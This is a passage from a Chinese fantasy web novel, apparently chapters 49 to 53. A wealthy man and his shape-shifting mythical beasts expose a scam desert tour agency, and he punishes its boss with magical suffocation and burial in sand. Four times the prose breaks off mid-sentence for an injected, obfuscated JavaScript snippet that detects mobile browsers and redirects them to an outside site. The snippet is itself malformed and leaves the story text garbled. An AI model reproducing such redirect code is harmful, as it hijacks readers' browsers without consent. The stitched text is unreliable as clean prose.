独孤尽接到春渐满那边的好消息时,竟然是通过的别的神兽之口,明明只要心念转动就能见到面直接说,怎么还要通过别的了? 不过他已经筛选好了旅行社,这家旅行社规模宏大,看起来半点儿问题都没有,但实际是个空壳,下会把接到的旅客胡乱下发安排给其他小旅行社。 与其说是旅行社,不如说是个旅行社中介。 只不过,游客们并不知道。 一旦他们上当受骗,交付了金钱,那合同成立,他们就会像货物一样被旅行社安排了。 从此生死都由不得他们。 不过这家旅行社很少接到像独孤尽这种一掷千金的豪单。 甚至可以说,只要把独孤尽这笔拿下,他们可以有个几年不用工作了。 “怎么,没有这么多资源接待我们?”独孤尽故意把声音变得沉稳浑厚,听起来有震慑力。 旅行社那边听到顿时急了,派出了他们最有实力的销冠来跟独孤尽对接,“您放心,这边一切都准备好了,您什么时候出发,我们给您安排最优化的行程,绝对与其他旅行社不同,让您感受到家人般的快乐旅程。” “真什么都不用操心对吧?”独孤尽虽然把那些漏洞百出的合同看了又看,却装作什么都不知道的普通旅客,语气里还带着点期待。 “请您务必相信我们的专业性,您看,定金一共是……” 独孤尽看了一眼价格,差点晕死过去,这价格也太高了点,不过舍不得孩子套不到狼,要的就是这种纯欺诈型的旅行社。 晚点他会让旅行社把吃下去的都吐出来。 不光是他的,还包括曾经被骗的普通旅客。 独孤尽见到春渐满的面,已经是在大巴上。 传说中的超级豪华大巴车,里面连空调开着都不凉快,不过看起来勉强还算舒适,这就让大部分人暂时放下了心里那点不舒服,既然钱都交了,那就好好享受吧。 可独孤尽不是这波人,他虽然想要套到大的,但也不能表现得太柿子。 “你们这个说好的一人一窗沿途无阻碍观景,是只有几个固定窗口才能打开是吗?”独孤尽刚上车就找了之前对他无比殷勤的销冠。 销冠果不其然向他进行了狡辩,“是的,您看每个人都有窗口的。” “有窗口不能打开窗户,也算无阻碍观景?” “这种车型都有规定的,是为了旅客的安全才不能开窗的。” “那说好的每个位置都能充电呢?某个受众颇多的手机无法充电。” “我们只能保证让大部分旅客能无忧充电。” “之前说的所有人,就是说说而已是吧?”独孤尽即便知道这是骗局,仍旧被激起了点怒火。 对于这种前后不一,态度都不一样的两面派,他一向是不齿的,甚至是最讨厌的。 也正是如此,他才从来不与那些圈子里的富二代为伍。 “如果您有什么建议,我会跟公司提出。” 对方又跟他说了一句就挂断了电话。 整车都听见了独孤尽的怒火,神兽们面面相觑,不敢吱声。 独孤尽看了春渐满一眼,“其他车上的领队都找好了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688946|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “都安排好了,有什么情况都会及时跟我汇报。”春渐满点点头,他作为唯二知情的,也已经做好了充分的心理准备。 “司机师傅,我们人齐了,可以出发了。”独孤尽甚至没指望司机能做什么,不过他没想到的是,这种必须配备导游大型旅游团,竟然没给配备导游,只有一位看起来很好说话的司机。 “人都到齐了吗?我数数,一个、两个……” 司机开始了漫长的清点人数环节,数到最后,他核对了一下自己接收到的通知,“不对啊,怎么少了三个。” “我们人数是齐全的。”独孤尽这边有春渐满负责盯着,根本不可能出错。 “稍等,我问一下公司啊。”司机开始了漫长的询问环节。 等跟公司那边对接完发现是那边的通知发错了,上路已经是一个小时后。 不光独孤尽和春渐满深深无语,其他神兽也觉得人类太不靠谱了,这么简单的事情居然也要办这么久。 “不好意思不好意思,你们有谁要先去上个厕所吗?等等上路有好几个小时都不能停。”当司机再次出于好意提醒时,独孤尽的额头都冒青筋了。 先前那么长时间与公司对接时不提醒大家去上厕所,现在都要要出发了,才再问。 晚点又要再次清点人数,又耽误半个点。 “不用。”独孤尽直接一言堂回答。 “那其他人呢?有要去的吗?我建议最好去一下,不然等等可就没厕所了。” “大家都不去,您可以开车了,再等等天都要黑了。”春渐满没忍住也怼了一句,他在警队这么多年,早就习惯了有纪律的快速行军,还是第一次见到这般磨叽的。 实在挑战了他的认知。 “对,我们不用去,快开车吧!”听到春渐满的声音,其他神兽也开始附和。 “好,好,那我们就出发了。”司机开始查看通知上的行程,给手机定位第一个点。 可很快,他就找上了坐得最近的独孤尽,“帮我看看,是不是这个景点啊,我不认识。” “您不认识?”独孤尽拿过司机的手机,帮他把定位开好,“先开车吧。” 他已经把这些对话全都录音,即便不是最有力的证据,也能从旁辅助。 他都不敢想象,普通旅客遇到这种情况,会有多无助。 被完全不熟悉地形的陌生人,拖到另一个人生地不熟的地方。 而且,他们这次的旅行,为了获得更多证据,选的可是荒无人烟的沙漠地区。 他带着的这些神兽不怕沙漠,但普通旅客被拉到这种地方,那可真就前不着村后不着店了,还不是任人宰割。 独孤尽跟春渐满对视了一眼,两人都做好了中途帮忙修车,甚至是中途帮忙开车的准备。 这次的旅途,倒是正好可以让神兽们感受一下人间的险恶,让他们收一收想要跑出来乱晃的心。 不光人类,那些家伙可是什么都敢骗的,哪怕对面是妖魔鬼怪,毕竟他们可比妖魔鬼怪还要黑心。 50. 赠送服务并不在旅行合同中哦 广袤无垠的荒漠给人的震撼感十足,可对于神兽们来说,似乎没什么稀奇,它们本就生于荒芜天地,过了这么多年才享受到富足的人间。 漫长地跋涉消磨着独孤尽和春渐满的精力,神兽们虽然精力没被削减,但在车上也有点儿坐不住了。 为了防止疲劳驾驶而停下休整的司机木讷地看着这一车不肯下去的人,只是公式化地建议,“这里的特产不错,你们不买点路上吃?” “走,下去看看吧。”春渐满拍拍独孤尽的胳膊。 独孤尽率先下了车,可神兽们不敢乱动,上车前它们就被教育过了的,不到目的地,不下车,免得生是非。 “这边的水果确实不错,日照时间长,很甜。”春渐满尝了一口跟独孤尽,给他也拿了一块。 果汁四溢填满口腔,香甜的味道瞬间俘虏味蕾。 确实,水果很不错,独孤尽大手一挥,买了很多,让店家切成小块装盒拿到车上发给了一众神兽。 神兽们虽吃过些味道不错的瓜果,可从未吃过这么刺激味蕾的。 “难道主人给我们吃的是仙果吗?这也太好吃了。”有神兽轻声议论。 重新坐回车上,司机也被分了一份水果,他有点不好意思想要拒绝,被独孤尽一句话堵上。 “您也辛苦了,之后还有很多天要麻烦您。” 接下来的旅途依旧在路上,独孤尽在车上睡了一觉又一觉,春渐满倒是对戈壁滩很感兴趣,他沿途拍摄了些风景。 很少能闲下来欣赏这种大自然的鬼斧神工,这次虽然是带着任务来的,但路上的这些时间,是属于自己的。 快到目的地的时候,春渐满收到了其他车上的消息。 他们这边有点岁月静好,那边可是吵起来了。 九尾狐的车上来了几个陌生的旅客,说是旅行社安排过来的,中途上了车,却在跟司机对接时发现行程有所不同。 春渐满把手机拿给独孤尽看,独孤尽迷瞪着眼看了两下就乐出了声,这还真是把游客当货物,收完钱就没价值了,直接敷衍了事。 不同行程的人都能随便找辆不满的车往上一塞,再跟游客说两声无关痛痒的道歉,这游客不走也得走,毕竟人都已经被忽悠在车上了。 不走,这大片荒漠,怎么生存? 独孤尽抬高了声音,“司机师傅,你们公司怎么把行程不同的旅客安排在我们车上?不是说好这几辆车专门为我们服务吗?” “哎呦,这我就不知道了,公司给我们的行程都是统一的,我们就按公司发的走,不可能不一样吧,是不是游客看错了啊。”司机不咸不淡表示自己是无辜的,不知情的。 “我们的行程里只有去青铃湖,他们的行程里可是要去蓝洛克湖的。” “我看看啊,没有啊,公司给我的行程里没这两个啊。”司机一看有点慌了,他截图把盖了公章的消息发给独孤尽。 独孤尽一看,确实司机那边收到的消息里既没有青铃湖也没有蓝洛克湖,跟前期旅行社宣传的行程完全不符。 “我们和旅行社的聊天记录可都在呢,公司发给你们的怎么是这样的?”独孤尽此刻已经明白旅行社要开始彻底忽悠人了。 “哎呀,这个要你们问问了,我只能按公司发给我的走。”司机表示自己太无辜了,他只是个打工人,只能按老板发派的活来干。 神兽们虽然坐在后面,但各个耳听八方,它们忍不住窃窃私语,“哇!这些人类耍手段比我们还不讲究,睁眼说瞎话,睁眼办瞎事,我骗人都还要想想合理性呢。” “我觉得我们也被骗了,你看主人的状态,根本不是带我们出来团建的,是为了扩展‘怪奇诊所’的业务吧。” “那这些人可就惨了,惹到主人头上,该为自己的行为付出代价了。” “这不该付出代价吗?主人真要能让他们意识到错误,这些人才会变得更好,不然以后的罪孽多得他们承受不起。” “也是,主人还真是人帅心善,这种恶人都想拯救,有点太救世主了吧。” “他要是不救世主,千年前就不会把我们给收了。” “我看这人间也不怎么样,就算多我一个作乱也影响不了什么。” “哈哈,我看这些人类还没你有良心呢。” 神兽们的议论都传进了独孤尽的耳中,只不过因为它们的声音小,春渐满和司机是听不见的。 独孤尽心平气和打给旅行社,询问情况,旅行社只说他们的合同上就是这样的,之前宣传的旅行路线和景点那得问他们的销售。 再问销售,销售就开始打皮球,说会和公司确认,要稍等。 独孤尽合上手机,把所有证据都保存下来,疲惫地看了一眼窗外。 橙红的夕阳打在一望无际的沙子上,还挺美。 怎么风景这么美的地方,人心这么丑陋呢。 独孤尽抬手朝窗外轻轻点了点,水波一阵阵荡开,朝着远处某一点。 旅行社负责人正在觥筹交错中享受迷失自我的快乐,就忽然感觉耳朵有点疼,像是被水压闷住了一样,再睁眼,眼前跟他敬酒的合作人已经变成一具骷髅。 “啊!!!”最可怕的是,这具骷髅竟然还对着他继续一张一合着嘴。 “我一定是喝醉了看错了,肯定是,是看错了……”他晃了晃脑袋,重新闭上眼睛,过了得有十几秒,他忽然发觉周围安静得可怕,还有萧瑟的风在吹着,那是他熟悉的,只有荒漠夜间才有的刺骨寒风。 什么五光十色、人生快意的酒局,一切都是泡影,他明白自己为什么会深处沙漠最深处。 周围一个人也无,只有他穿着夏日单薄的短袖,手上拿着还未喝完的酒杯。 “@?@……%@!#?!”一串极其难听的脏话代表了他极度慌乱的心。 片刻后,刺骨寒风吹着他被酒精侵蚀的脑袋,“我一定是在做梦,一定是做梦,肯定是刚刚喝醉了,睡着了做梦呢。” 那点儿酒他早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688947|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就醒了,有的只是无尽的恐惧,这种疼痛不可能出现在梦中。 仅凭他一人,是绝对走不出沙漠的,夜间的沙漠会将人冻死,若是到了白日,他会被晒死。 他想掏出手机,却突然想起来,这里是无人区,即便他有手机又有什么用呢。 可他刚才喝酒把手机放在了桌上,并没有随身携带。 连用手机闪光灯照明都做不到。 “救命啊……救命……有人吗?”他凄惶地喊了两嗓子,回应他的只有沙漠里的回声。 独孤尽由不痛快,他再次抬了抬手指。 沙漠里多了数座孤坟,且就在旅行社负责人胡乱前进时,露出沙漠的骸骨将他绊倒。 只有星光月色照明的情况下,旅行社负责人并不能很好地看清周围,他伸手摸索了半天,才意识到自己手里反复摩挲的东西是个人脑袋。 毕竟他刚刚才见过骷髅的样子。 这次他连尖叫都发不出来了,只会瘫软着在沙中后退。 大风刮起,粗粝的沙子无孔不入,不光跑到了他嘴里,还把他眼睛迷得生疼。 “呜……到底发生了什么?!”他不敢用沾满沙子的手揉眼睛,只能蓄着泪拼命眨,可这泪究竟是疼出来的还是吓出来的另说。 那边司机已经将车开到了住宿的地方,他们今天本有一处景点,却因为时间没赶上,只能遗憾错过。 也就是,他们坐了一整天车,到晚上十一点抵达了住所,却没去到任何一个景点。 “哦对了,你们要是有谁高原反应不舒服,可以提前自己买点氧气备着。”司机临下车前突然想起了什么,提醒了一句。 “我们在哪买?!”有神兽已经聪明地发现了这次出行的目的,立马扬声问司机。 “哎呀,这去哪里买我还真不知道,你们附近找找呢,应该都会有卖的。”司机挠挠头,把车停好,又说了一句,“你们把自己的身份证给前台办入住就可以了,明天早上七点半出发啊。” 等所有神兽都下车了,春渐满眨着眼迷茫地看向独孤尽,“所以,没有人帮我们办理入住,分配房卡?” “你定的不是高端享受型旅行服务吗?” “是啊,我定的是高端享受型旅行服务,这个旅行社就是这么宣传的啊。”独孤尽拿出自己的身份证,又把春渐满的身份证拿在手里。 “我先去把我俩的办了,其他神兽的身份证就只能麻烦春老师了。”独孤尽抽抽嘴角,等他回酒店,要进一步对旅行社负责人进行“诊治”。 “怪不得一开始就让我组织,敢情这个旅行社不仅没导游,司机也不负责帮忙办理入住。”春渐满看着乌压压变成人形的神兽们,有那么一瞬间希望它们现出原形,直接去这个旅行社作乱。 独孤尽拿着身份证给了前台,前台查询后,一脸困惑皱着眉,“你们是住一间吗?我这边好像不是……稍等我确认一下。” “确认吧,我看看这么多人确认完是不是天该亮了。” 51. 停电的夜晚 “独孤尽,今天一整天都好荒唐。”终于入住的春渐满躺在床上出神地望着天花板。 这住处也不是旅行社宣传的大酒店,他已经不知道这家旅行社嘴里有哪些是真的了。 “如果全是蒙骗旅客的条款,那他这就是诈骗犯集团啊。”春渐满掰着手指,“跟最典型的电诈又什么区别呢?” “从销售挖掘出潜在客户,引诱上当,交钱,再扣人威胁,一步步,多么流水线的操作。” “画会让我参与进来,是因为他们完全不把旅客的人身安全当一回事,只不过现在还没人出事,不久之后会有人遭殃,我得趁在这之前,把他们扳倒。”独孤尽已经把大部分怒火都投射给了旅行社负责人,他现在心情畅快了很多。 “这种快钱,他们赚得真是心安理得。”春渐满仍旧不明白,怎么有这么多人黑了良心。 “没听过吗?要做商人先把良心吃了。”独孤尽回忆自己家族以往的交际圈,作为商界的一员,他太了解商人本性了。 他家作为良心商家,被人陷害不止一次,每次都是通过正经打官司挽回大众的信任,可次数一多,大众也会觉得他们是自行炒作。 世间种种,说不清。 一旦陷入自证怪圈,那就该累死了。 “良心商家总是斗不过那些黑心商家,做良心的东西,利润薄,大众买账,就会被黑心商家盯上,觉得良心商家破坏了市场,他们要赚得多,要赚得快,毫无良心地阻挠良心商家。” “良心商家光在自我维权上就要耗费不少,无论是精力、时间、金钱,久而久之,人心是会被影响的。” “费劲做好,对得起良心有什么用呢,大众一旦被蒙蔽,就会相信谣言,伤了良心商家的心,人家想想自己的坚持没半点意思,也就顺应黑心商家了。” “别说了,再说下去,我都要陷入为什么要拼死拼活保护这个世界的怪圈了。”春渐满抛了一颗杏子给独孤尽,堵住他的嘴。 “嘿,别这么悲观嘛,万事万物都是有光亮的一面就有阴暗的一面,见过了黑暗,才会觉得光明更加灿烂,不是吗?”独孤尽既是在安慰春渐满,也是在宽慰自己。 他有的时候也会觉得比起虚伪的人类,神兽更直接,他们本就跟人类不是一个种族,就算作乱也是顺应本心的。 这和人类主宰众生,任凭自己的意愿去对待比自己弱小的生物有什么区别呢? 在其他生物的眼中,人类何尝不是那个占领了地球的魔鬼。 可人类却有着各种各样冠冕堂皇的理由,有哪些是真的为其他生灵考虑的,有哪些只是为了宽慰人类自己的心呢? “赶紧睡吧,明天一早还要出发。”春渐满关了灯,刚准备睡觉,就忽然听到空调停了,他再次打开灯,却怎么也打不开了。 “……好像停电了。” “现在外面的温度只有三度,我们屋里也没暖和到哪里去,这种时候停电了?”春渐满起身检查了一下,发现不仅是空调、灯,连烧水壶也没法用了。 “真停电了,我打酒店电话问一下。” 再拨打过去五次都是忙音后,春渐满在黑暗中走到独孤尽身边,把他从床上揪起来,“你真是找了个‘好’旅行社,快去找他们反馈一下。” 独孤尽整个人还裹着被子,他叹了口气,回了一趟画里,拿了个太阳能电暖器过来先用着。 “旅行社没人应,他们条款中的二十四小时专属服务都是假的。”他把手机拿给春渐满看。 春渐满就着昏暗的手机屏幕光看清了独孤尽愤怒的文字。 “你已经跟旅行社吵成这样了?” “虽然我面上看着好像还行,但我内心已经受到了他们狠狠地摧残。”独孤尽夸张地捂住自己的心口,“你在这等着,我去酒店前台看一下。” 独孤尽穿上了厚衣服,抵抗着高原反应,尽快走到了酒店前台,却发现压根没有人值守,怪不得电话打了半天没人接呢。 春渐满趁独孤尽出门的时间,也回画中取了一些东西出来,他把太阳能灯取了过来,房间里总算不是昏暗一片了。 独孤尽回屋时还以为来电了,结果一看,这灯的造型只能是他一时兴起买下来的那款。 这是一朵夸张的向日葵,放在这间屋子里格格不入,却给了人无与伦比的安心感。 春渐满突然想到了什么,他朝独孤尽看了一眼,“我突然想到个好办法,如果之后的住宿还是这种情况,我们俩就偷溜回画里休息吧。” “丢下我的一众可爱的神兽们?我们两个偷偷溜号?”独孤尽有种作为家长丢下孩子偷跑的羞耻感,他摆摆手,“你回去休息,我在这边还要防止神兽出乱子。” “我们起码有人类的基本常识,有些神兽可没有,它们遇到不爽的事情,可能会用自己的手段解决。” 春渐满想象了一下那个画面,觉得未尝不可,既然这些人已经黑了心肠,就该知道知道什么叫人外有人,天外有天。 “春老师……你最近是不是有点近墨者黑?”独孤尽一巴掌拍在春渐满背上,还故意凑近瞧了瞧,“好像是黑了点。” “这是太阳晒的,我坐在靠窗的位置,车上连窗帘都没有,这边日照长,我都被晒一天了。”春渐满一把推开独孤尽,跟他拉远距离。 “我工作以来,从未怀疑过自己选择这个职业,直到最近这段时间,才开始有了点动摇,你说得对,可能是真的近墨者黑了。” 春渐满说完这句话后,独孤尽脸色有点难看,可春渐满没说完,他紧接着又把独孤尽往自己这边拉近,认真地看着他的眼睛,“不过这个墨不是你,是那些没了良心的人。” “我得靠你近点才能沾沾你的光,把这些墨点都蹭掉。” “春老师不愧是被神兽们敬仰的老师,说出来的话让我这个人类听着都觉得舒服。”独孤尽瞬间春光明媚,唇角也上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688948|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬了。 一波三折的夜晚总算有惊无险地度过,独孤尽和春渐满很准时,七点用完早餐,七点二十五就整好了队伍抵达了大巴车停放的位置,可车上却没有司机。 “七点半是吧?是七点半吧?”春渐满看着手机上一分一秒过去的时间,有点明白什么叫起床气了。 自己没睡好也要准时,结果约定时间的人反而没来。 “别急,这不还没到七点半呢吗?”独孤尽把豆浆送到春渐满嘴边,“再喝一口,慢慢消化。” “有这样的卡点吗?!”春渐满没接豆浆,他把证据又更新了一条。 果不其然,七点半到了,司机也没来。 独孤尽一个电话打过去,司机的电话没接。 独孤尽又找旅行社去了。 神兽们也没休息好,它们觉得自己会同意出来团建就是最傻的,就该知道主人不会有什么好事想到它们。 “我们能不能偷偷溜回去?”有人跟九尾狐说悄悄话。 九尾狐自己也没休息好,她一向是最爱美的,美容觉对她来说极其重要,可这次的旅行太劳心费神,她亏大发了。 “你们信不信现在溜回去,阿尽会大罚你们?”九尾狐没好气地揉着自己的太阳穴,她现在就想幻化成原形窝在柔软的床铺上,好好睡上一觉。 “那……还是继续在这里吃苦吧。”神兽们蠢蠢欲动的心瞬间消停了。 主人的惩罚太恐怖,跟这个比起来,吃这点苦也不算什么了。 而且它们也不是每个都像九尾狐大人一样爱睡觉的,少睡点没事。 “人来了吗?”春渐满满心焦急,如果司机还要很久才来,他大可以回画里猫着,酒店房卡刚刚都退了,也没法回那个糟糕的房间。 早上他来找酒店工作人员询问他们二十四小时都有工作人员为什么晚上没人值守的事,他们只说这里游客少,酒店人手不够,所以晚上没人值班。 绝口不提规章制度。 “那如果有客人晚上有突发情况,你们酒店怎么负责?”春渐满问出来的时候觉得自己像个傻子,他们还怎么负责,肯定是该怎么推卸责任就怎么推卸责任啊。 “一般也不会有客人出事,而且不是有随行的司机吗?”果不其然,酒店工作人员用看傻子的眼光看着他。 “停电呢?怎么说?” “这里供电比较困难,经常会有停电的情况,一晚上很快就过去了。” 春渐满差点用,那你一辈子也很快就过去了,这种话怼回去,但想了下自己的职业,还是忍住了。 只不过这些对话他都好好保存了下来。 他必须反馈给有关部门,作为兄弟单位,一定要让他们好好查一查,这里要查的内容太多,晚点他还要加个班,做个文件发过去。 “别在这等着了,我们先回画里,让这个旅行社来找我们。”独孤尽大手一挥,下了一个非常疯狂的决定。 52. 风云变幻 旅行第一天就全体回巢,也只有独孤尽能做出这种疯狂的事情了。 “你究竟怎么想的?” 春渐满一边整理手里的证据,一边关注着独孤尽。 “这是我有画以来,最憋屈的一次,想来肯定是我的方法用错了。”独孤尽看起来真的在进行反思。 “当然,没画的时候也没这么憋屈过。”独孤尽又补充一句。 “像你们这种公子哥,是不是经常去世界各地玩?”春渐满饶有兴趣打量独孤尽。 “玩过几次,但我更喜欢自己一个人呆着,除了必要的出行,其他时候没怎么出去过。”独孤尽回忆了一下自己有限人生里的那几次出行,他并不是主角,只是默默跟着。 但就算如此,可能因为家族的关系,旅程都被安排得很好,坐得全是头等舱,车也是豪华版的,那有的是人前赴后继献殷勤,从未碰到过这次的情况。 “身份、背景、钱、权……这些浮夸的因素在这个世界上可真重要啊。”春渐满在纸上画出一条条关系线,“但明明最重要的是本质。” “说来可笑,无论是什么东西,有些人都好像要拼出个三六九等。”独孤尽似是想到了什么,坐到了春渐满身边,“我以前有点时间很喜欢养植物,只是养着玩的那种,就有人投其所好,斥重金买了几百万一株的稀有兰花品种给我。” “其实不是给我的,是给我家的,他根本不管我真正喜欢的是什么,只是一厢情愿按照自己的想法,把世人贴上标签评判为最稀有的送给我。” “但那些珍贵品种不是我这种养花玩的人能养得活的。”独孤尽略带可惜地看着虚空。 “那花后来也还好,被家里的园丁师傅养着了,跟我也就没什么关系了。” “你喜欢养什么?”春渐满停下笔,略带好奇地看着独孤尽。 “像是太阳花啊,仙人掌啊,这种生命力特别强的。”独孤尽比划了一下,“尤其是太阳花,放着不管就能长一大片,来年更是成倍成倍增长。” “开出来的花儿也挺好看。” 春渐满还是第一次思考这种充满哲学的话题,但想来,还真是如此,很多东西都是人赋予的意义,本来自然界的这些生物就不分高低贵贱。 而且凭什么靠着自己努力进化适应环境生命力顽强的动植物就比不过稀有的? 仅仅只是因为物以稀为贵? 那岂不是只要把一项极其普遍的东西变成稀有物,它就拥有了非凡的价值? “独孤尽,有的时候还真想称你一声‘主人’。”春渐满感慨万千,他在遇见独孤尽后,时常会进行一些深度思考,这在他以往的人生中很少有过。 “怎么?心悦诚服了?”独孤尽挑眉冲春渐满露出个极其欠打的笑。 “停!快看看旅行社那边怎么样了?开始找我们了吗?”春渐满现在完全不想关注那个坑爹旅行社的信息。 “我来看看……”春渐满从画中世界出去,接收手机上的消息,手机已经炸了,无数电话和讯息相继跳出。 还没等他细看,手机屏幕上就又跳出了一个来电。 “喂?”独孤尽懒洋洋地开口,等着对方着急。 “你们全都去哪了?早过了集合时间,再不出发又赶不上景点了。”司机声音确实着急。 “哦,我们七点半就在车旁边了,看没人,就先去附近逛了逛。”独孤尽看了眼时间,现在已经快九点了。 “我手机突然坏了,很多消息都在手机上,没手机真没法带你们,就找了个店修了一下。”司机解释道。 独孤尽没再跟司机争执,他轻描淡写,“好的,我们现在回来。” 即便手机坏了,难道不能让酒店通知他们一声吗? 独孤尽回了画里,实在懒得再跟旅行社费劲,他找来九尾狐,“复刻一批去跟旅行社坐车,等到了景点,再把神兽换过去。” “得令!”九尾狐这次满意了,她可不想再跟那愚蠢的旅行社耗下去。 “糊弄学算是被我学明白了。”独孤尽冲着春渐满自夸,“这下再也不用去受那平白无辜的气了。” “一夜过去,旅行社负责人也该有点自知了吧。”独孤尽将意识投射进“怪奇诊所”。 旅行社负责人瘫倒在地上,喘得像条响尾蛇。 “自然可怕吗?”独孤尽让自己的声音听起来空灵又荒芜。 飘飘荡荡好几圈环绕着那人播放。 “谁?!谁?!是谁?!” “救命!救命!” “水……水……”白日里太阳升起来,沙漠里本就干燥的空气变得更加令人难以呼吸,灼热感也逐渐强烈起来。 “救我!救我!” “回答我。”独孤尽不为所动,既然干了黑心事,就要为黑心付出代价。 “什么?!”负责人的听力也在下降,他能听见声音,却觉得隔着一层什么,听不真切。 “回答我,自然可怕吗?” “可怕!可怕!太可怕了!”这回负责人听清了,他忙不迭回答。 “你在这害怕吗?” “害怕!!!” “一晚上了,想过自己为什么会突然出现在这吗?” 负责人连忙点头,他何止是想过,他想了一晚上,不然他怕自己坚持不住昏过去死在沙漠里。 “说说。” “我,我一定是没留心,得罪了我不该得罪的人。” “请您大人不记小人过,饶了吧,我一定登门赔罪!” “错,再想。”独孤尽有的是办法让负责人感受沙漠的无情。 “我,我,我没干什么啊。” “你的旅行社……”独孤尽给出提示。 “旅行社?旅行社怎么了?”负责人是真想不通,他的旅行社好好的,都开这么多年了,也从来没出什么事。 独孤尽居高临下看着从骨子里就没意识到自己在赚黑心钱的人,叹了口气,这场治疗,要手把手来。 真是麻烦透了。 独孤尽抬手拢了一个真空地带将负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688949|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责人罩进去。 “呼哧……哈……呼哧……我,我呼吸不上来了……要憋死了……氧气……给我氧气……”负责人很快脸色就变得苍白,嘴唇开始泛紫,手指指尖也全透着暗紫色。 很快,他的双手双脚开始麻木,“救……救命……” “你安排的旅行车辆上,并没有随车配备氧气包,我怎么给你氧气?”独孤尽极其残忍的控制着负责人周围的氧气,让它保持在一个损害人又不会让人即可憋死的程度。 “买,买……” “哦?买氧气包,可是你配备的司机,并不熟悉环境,也不知道哪里能买到氧气包啊。” “哦,忘了提醒你,觉得呼吸困难,身体难受的话,自行去购买氧气包哦。” “我可没限制你的行动,你自己去买吧。” 独孤尽说完就躺在了沙发上,打了个哈欠,他打算先睡一觉,毕竟,在这种全是荒漠的地方,司机的公式化敷衍提醒半点用都没有,他就不信这个负责人还真能独自走出沙漠,去买氧气包。 他倒要让这个负责人看看他家旅行社有多离谱。 人长期处于缺氧的状态会损伤身体器官,都是不可逆的,并且达到一定程度后,身体就毁了,人是会有生命安全的。 负责人显然明白这个道理,他跪伏在地上磕头,拼命磕头。 “喜欢自己的旅行社吗?”独孤尽不咸不淡嘲讽一句。 负责人开始拼命摇头,他实在不明白自己的旅行社惹着谁了,这么神通广大,能这般对付他。 “想喝水?你们不是承诺给旅客提供茶水吗?”独孤尽故作沉思,“我看看,车上有没有。” 负责人经过漫长地等待,终于等到了独孤尽的回答,“抱歉啊,司机好像忘记把水带上车了,车上没有水。” “这种小事,你还是自己去买吧,毕竟,提供茶水只是你们赠送的服务,只是赠送的而已,不算违约,是吧?” 负责人虽然头脑已经被缺氧折磨得昏昏沉沉,却还是反应过来了,他的旅行社确实有很多虚头巴脑的营销。 他们虽然宣传的是零购物,不会给人推销特产,强制要求游客购买东西,实际上是因为,他们懒得做这块,风险大,又需要线下推销的人才,太麻烦,所以没做。 可他们有很多虚假的宣传条款,钻的就是漏洞,而且这些漏洞到哪去都可以说得通,让人没辙。 “错了,错了,我错了,饶过我,我把公司关了。”负责人继续磕头,他现在要先保命,否则一切都没用了。 “让你关了公司,过几个月再用其他名字重新开一家吗?”独孤尽一眼就看透了,他最恨这种双标的人,在别人身上的痛不是痛,自己身上的就算,别人的命不是草,自己的命就是黄金。 “忘了提醒你,我能看透你的内心,如果不是诚心悔过,沙漠就是你的葬身之地。”独孤尽声音冷得吓人。 他是真的生气了。 转眼间风云变幻,狂风大作,风沙已经将负责人淹没了一半。 53. 不可能殉情 人被埋在沙子中很快就会因为缺水缺氧而痛苦死亡,也因此独孤尽并没有下狠手,他只埋了一会儿就让风将负责人吹了出来。 负责人趴在地上每次喘气都有沙子跑进嘴里,那感觉太难受,粗粝的沙混着唾液一同从他口中喷出,吐了好几下他才终于能开口。 “我不开公司了,不开了,真的错了,求求,放过我……” “我补偿旅客,补偿他们!” “你打算怎么补偿?”独孤尽半阖眼眸,仍旧没相信负责人醒悟了。 “我,我给他们寄这边的特产,行不行?” “这就是你的赔偿?” “那,那我给他们退三分之一费用。” “你真的认识到自己的错误了吗?”独孤尽极其失望地看着负责人。 “那到底要我怎么样?我听你的。” “三倍赔偿。” “不可能!”负责人当即否决,这比要他的命还要他的命啊! 